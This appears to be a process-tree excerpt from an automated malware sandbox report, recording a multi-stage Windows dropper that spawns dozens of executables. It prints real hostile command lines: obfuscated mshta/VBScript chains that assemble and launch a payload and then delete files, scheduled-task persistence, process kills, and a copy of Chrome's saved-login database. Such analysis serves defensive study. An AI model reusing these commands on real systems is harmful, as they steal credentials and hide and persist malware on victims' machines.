        "C:\Windows\System32\mshta.exe" vbsCRipt: CLOSE ( CreateobjeCT( "WScRipT.shELL" ). RUn ( "cmd /r EcHO | set /P = ""MZ"" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp + GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q & DeL /q * " , 0, TRue ))
        9⤵
        
        PID:5188
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EcHO | set /P = "MZ" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO+mNJeI.lLp +GL6hqC.zFb ..\JPBHeH05.Q &StART msiexec -y ..\JPBHeH05.Q& DeL /q *
        10⤵
        
        PID:6600
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        11⤵
        
        PID:7128
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>LBBCBWE.COE"
        11⤵
        
        PID:5836
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y ..\JPBHeH05.Q
        11⤵
        
        PID:6920
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /iM "Fri043b65bf09aa6129a.exe"
        8⤵
        Kills process with taskkill
        
        PID:3536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri042d82e64f594.exe
      4⤵
      PID:2524
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri042d82e64f594.exe
        
        Fri042d82e64f594.exe
        5⤵
        Executes dropped EXE
        
        PID:3416
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri040df945a5.exe /mixone
      4⤵
      PID:2308
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri040df945a5.exe
        
        Fri040df945a5.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:3464
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 660
        6⤵
        Program crash
        
        PID:4648
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 680
        6⤵
        Program crash
        
        PID:5500
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 636
        6⤵
        Program crash
        
        PID:6024
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 656
        6⤵
        Program crash
        
        PID:5656
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 892
        6⤵
        Program crash
        
        PID:6680
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 940
        6⤵
        Program crash
        
        PID:7116
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 1112
        6⤵
        Program crash
        
        PID:5504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri043a70f76ef98.exe
      4⤵
      PID:3460
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043a70f76ef98.exe
        
        Fri043a70f76ef98.exe
        5⤵
        Executes dropped EXE
        
        PID:988
      - C:\Users\Admin\Pictures\Adobe Films\L4uX_imNuIXxugIfuE2CrOUh.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L4uX_imNuIXxugIfuE2CrOUh.exe"
        6⤵
        
        PID:6528
      - C:\Users\Admin\Pictures\Adobe Films\q4v8kuGfDqTVB4bMl7vFz0YE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\q4v8kuGfDqTVB4bMl7vFz0YE.exe"
        6⤵
        
        PID:7140
        
        C:\Users\Admin\Documents\hJvD1WySX2gVJgcVO2Pwuio4.exe
        
        "C:\Users\Admin\Documents\hJvD1WySX2gVJgcVO2Pwuio4.exe"
        7⤵
        
        PID:1000
        
        C:\Users\Admin\Pictures\Adobe Films\nKNy80oWqnCduoAPfQP2q3rU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nKNy80oWqnCduoAPfQP2q3rU.exe"
        8⤵
        
        PID:6044
        
        C:\Users\Admin\Pictures\Adobe Films\6Z8mQcUvkulqMZAjD0aMpNWv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6Z8mQcUvkulqMZAjD0aMpNWv.exe"
        8⤵
        
        PID:6632
        
        C:\Users\Admin\Pictures\Adobe Films\DOTY89XfGcgAqaukYs_NQTot.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DOTY89XfGcgAqaukYs_NQTot.exe"
        8⤵
        
        PID:4108
        
        C:\Users\Admin\Pictures\Adobe Films\rMgpAgyUAum47WSFuhbp7DNz.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rMgpAgyUAum47WSFuhbp7DNz.exe"
        8⤵
        
        PID:9152
        
        C:\Users\Admin\Pictures\Adobe Films\MmPqjuSVQwt4bzw164nYPrRy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MmPqjuSVQwt4bzw164nYPrRy.exe"
        8⤵
        
        PID:4628
        
        C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe"
        8⤵
        
        PID:9352
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        9⤵
        
        PID:9732
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\RoTaHYjPgpCbB5b3psu9unww.exe" ) do taskkill -f -iM "%~NxM"
        10⤵
        
        PID:9412
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "RoTaHYjPgpCbB5b3psu9unww.exe"
        11⤵
        Kills process with taskkill
        
        PID:2880
        
        C:\Users\Admin\Pictures\Adobe Films\rVUB4DyAKga2p_SPpT4Hz7Ne.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rVUB4DyAKga2p_SPpT4Hz7Ne.exe"
        8⤵
        
        PID:9432
        
        C:\Users\Admin\Pictures\Adobe Films\rVUB4DyAKga2p_SPpT4Hz7Ne.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rVUB4DyAKga2p_SPpT4Hz7Ne.exe" -u
        9⤵
        
        PID:9472
        
        C:\Users\Admin\Pictures\Adobe Films\jAHUD6YkfRdTBxxPL_UgShhc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jAHUD6YkfRdTBxxPL_UgShhc.exe"
        8⤵
        
        PID:9552
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        
        PID:352
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        10⤵
        
        PID:9336
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e4,0x1e8,0x1ec,0x1c0,0x1f0,0x7ffb510ddec0,0x7ffb510dded0,0x7ffb510ddee0
        11⤵
        
        PID:10096
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff727de9e70,0x7ff727de9e80,0x7ff727de9e90
        12⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=1788 /prefetch:8
        11⤵
        
        PID:6380
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=2192 /prefetch:8
        11⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1740 /prefetch:2
        11⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2732 /prefetch:1
        11⤵
        
        PID:8440
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2380 /prefetch:1
        11⤵
        
        PID:5408
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3136 /prefetch:2
        11⤵
        
        PID:7396
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=3168 /prefetch:8
        11⤵
        
        PID:6360
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=3296 /prefetch:8
        11⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=3268 /prefetch:8
        11⤵
        
        PID:2920
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=1384 /prefetch:8
        11⤵
        
        PID:6004
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=992 /prefetch:8
        11⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,13877434531215301410,1210557088665063939,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9336_803229094" --mojo-platform-channel-handle=3140 /prefetch:8
        11⤵
        
        PID:12268
        
        C:\Users\Admin\Pictures\Adobe Films\dSXPmMeusV8HhFGXAroOVk2w.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dSXPmMeusV8HhFGXAroOVk2w.exe"
        8⤵
        
        PID:9588
        
        C:\Users\Admin\AppData\Local\Temp\is-LQ0LQ.tmp\dSXPmMeusV8HhFGXAroOVk2w.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LQ0LQ.tmp\dSXPmMeusV8HhFGXAroOVk2w.tmp" /SL5="$703D0,506127,422400,C:\Users\Admin\Pictures\Adobe Films\dSXPmMeusV8HhFGXAroOVk2w.exe"
        9⤵
        
        PID:9776
        
        C:\Users\Admin\AppData\Local\Temp\is-58AI9.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-58AI9.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        
        PID:9824
        
        C:\Users\Admin\AppData\Local\Temp\27-8aec4-ed0-400ac-62e2eec3f016f\ZHaegajohide.exe
        
        "C:\Users\Admin\AppData\Local\Temp\27-8aec4-ed0-400ac-62e2eec3f016f\ZHaegajohide.exe"
        11⤵
        
        PID:8360
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2272
        12⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:356
        
        C:\Users\Admin\AppData\Local\Temp\13-4f7d2-6a8-206b0-942d9efb30ab7\Xoqylaesyby.exe
        
        "C:\Users\Admin\AppData\Local\Temp\13-4f7d2-6a8-206b0-942d9efb30ab7\Xoqylaesyby.exe"
        11⤵
        
        PID:8848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\35d2eqwn.n30\GcleanerEU.exe /eufive & exit
        12⤵
        
        PID:8132
        
        C:\Users\Admin\AppData\Local\Temp\35d2eqwn.n30\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\35d2eqwn.n30\GcleanerEU.exe /eufive
        13⤵
        
        PID:292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xjyzgn21.hhd\installer.exe /qn CAMPAIGN="654" & exit
        12⤵
        
        PID:10204
        
        C:\Users\Admin\AppData\Local\Temp\xjyzgn21.hhd\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\xjyzgn21.hhd\installer.exe /qn CAMPAIGN="654"
        13⤵
        
        PID:7728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\su2p0uu4.dyf\any.exe & exit
        12⤵
        
        PID:8220
        
        C:\Users\Admin\AppData\Local\Temp\su2p0uu4.dyf\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\su2p0uu4.dyf\any.exe
        13⤵
        
        PID:7716
        
        C:\Users\Admin\AppData\Local\Temp\su2p0uu4.dyf\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\su2p0uu4.dyf\any.exe" -u
        14⤵
        
        PID:2108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\btvjjm44.uqq\gcleaner.exe /mixfive & exit
        12⤵
        
        PID:156
        
        C:\Users\Admin\AppData\Local\Temp\btvjjm44.uqq\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\btvjjm44.uqq\gcleaner.exe /mixfive
        13⤵
        
        PID:6736
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eelhigru.0xq\autosubplayer.exe /S & exit
        12⤵
        
        PID:6948
        
        C:\Program Files\Windows NT\GJDJFTBFSH\foldershare.exe
        
        "C:\Program Files\Windows NT\GJDJFTBFSH\foldershare.exe" /VERYSILENT
        11⤵
        
        PID:5608
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5316
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5576
      - C:\Users\Admin\Pictures\Adobe Films\wYE2_nBt584bTfZn6Z67YO6w.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\wYE2_nBt584bTfZn6Z67YO6w.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4656
      - C:\Users\Admin\Pictures\Adobe Films\ZMxjqLURkoVGmEK9brAXGS5X.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZMxjqLURkoVGmEK9brAXGS5X.exe"
        6⤵
        
        PID:5792
        
        C:\Users\Admin\Pictures\Adobe Films\ZMxjqLURkoVGmEK9brAXGS5X.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZMxjqLURkoVGmEK9brAXGS5X.exe"
        7⤵
        
        PID:6384
      - C:\Users\Admin\Pictures\Adobe Films\j0dXcsWd_OFjRqASRxrUrI6U.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j0dXcsWd_OFjRqASRxrUrI6U.exe"
        6⤵
        
        PID:7120
      - C:\Users\Admin\Pictures\Adobe Films\4l6QWFyvwGifICtlUS4NzRhw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\4l6QWFyvwGifICtlUS4NzRhw.exe"
        6⤵
        
        PID:7000
      - C:\Users\Admin\Pictures\Adobe Films\PagaY70tAcS8Hc1BNrrnGR2j.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PagaY70tAcS8Hc1BNrrnGR2j.exe"
        6⤵
        
        PID:4276
        
        C:\Windows\SysWOW64\svchost.exe
        
        "C:\Windows\SysWOW64\svchost.exe"
        7⤵
        
        PID:5916
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c del "C:\Users\Admin\Pictures\Adobe Films\PagaY70tAcS8Hc1BNrrnGR2j.exe"
        8⤵
        
        PID:6112
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
        8⤵
        
        PID:10292
        
        C:\Program Files\Mozilla Firefox\Firefox.exe
        
        "C:\Program Files\Mozilla Firefox\Firefox.exe"
        8⤵
        
        PID:12272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0470d89df3bb718.exe
      4⤵
      PID:940
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0470d89df3bb718.exe
        
        Fri0470d89df3bb718.exe
        5⤵
        
        PID:1556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04a13875aa1c59b58.exe
      4⤵
      PID:3352
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04a13875aa1c59b58.exe
        
        Fri04a13875aa1c59b58.exe
        5⤵
        
        PID:1536
      - C:\Users\Admin\AppData\Roaming\7760058.exe
        
        "C:\Users\Admin\AppData\Roaming\7760058.exe"
        6⤵
        
        PID:700
      - C:\Users\Admin\AppData\Roaming\3829212.exe
        
        "C:\Users\Admin\AppData\Roaming\3829212.exe"
        6⤵
        
        PID:4668
      - C:\Users\Admin\AppData\Roaming\6565423.exe
        
        "C:\Users\Admin\AppData\Roaming\6565423.exe"
        6⤵
        
        PID:5212
      - C:\Users\Admin\AppData\Roaming\7174105.exe
        
        "C:\Users\Admin\AppData\Roaming\7174105.exe"
        6⤵
        
        PID:5896
      - C:\Users\Admin\AppData\Roaming\95892.exe
        
        "C:\Users\Admin\AppData\Roaming\95892.exe"
        6⤵
        
        PID:5968
      - C:\Users\Admin\AppData\Roaming\7860373.exe
        
        "C:\Users\Admin\AppData\Roaming\7860373.exe"
        6⤵
        
        PID:5856
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7860373.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7860373.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        7⤵
        
        PID:2024
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7860373.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7860373.exe" ) do taskkill -f -Im "%~NXZ"
        8⤵
        
        PID:5960
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "7860373.exe"
        9⤵
        Kills process with taskkill
        
        PID:6480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0431de7a47.exe
      4⤵
      PID:756
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0431de7a47.exe
        
        Fri0431de7a47.exe
        5⤵
        
        PID:868
      - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0431de7a47.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0431de7a47.exe
        6⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4676 -s 24
        7⤵
        Program crash
        
        PID:3868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0480a54c0d2a7.exe
      4⤵
      PID:1620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri047a1b6fc980f8.exe
      4⤵
      PID:1296
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri047a1b6fc980f8.exe
        
        Fri047a1b6fc980f8.exe
        5⤵
        Executes dropped EXE
        
        PID:2160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 540
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04b1200e850ea1bc.exe
      4⤵
      PID:2764
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04f70c88181ec8.exe
      4⤵
      PID:1140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0471ced4d802994.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1752

C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0480a54c0d2a7.exe
Fri0480a54c0d2a7.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2392
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:4772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:7932

C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04b1200e850ea1bc.exe
Fri04b1200e850ea1bc.exe
1⤵
- Executes dropped EXE
PID:2128
- C:\Users\Admin\Pictures\Adobe Films\PfSVtuAvsiBeJBRkSh6U48o2.exe
  "C:\Users\Admin\Pictures\Adobe Films\PfSVtuAvsiBeJBRkSh6U48o2.exe"
  2⤵
  PID:5908
- C:\Users\Admin\Pictures\Adobe Films\I4OF7NRV1ZiOz9uFvIVWm_7f.exe
  "C:\Users\Admin\Pictures\Adobe Films\I4OF7NRV1ZiOz9uFvIVWm_7f.exe"
  2⤵
  PID:7108
- C:\Users\Admin\Pictures\Adobe Films\_dKPPbhMlk6YHrFVLjaPnbAD.exe
  "C:\Users\Admin\Pictures\Adobe Films\_dKPPbhMlk6YHrFVLjaPnbAD.exe"
  2⤵
  PID:2624
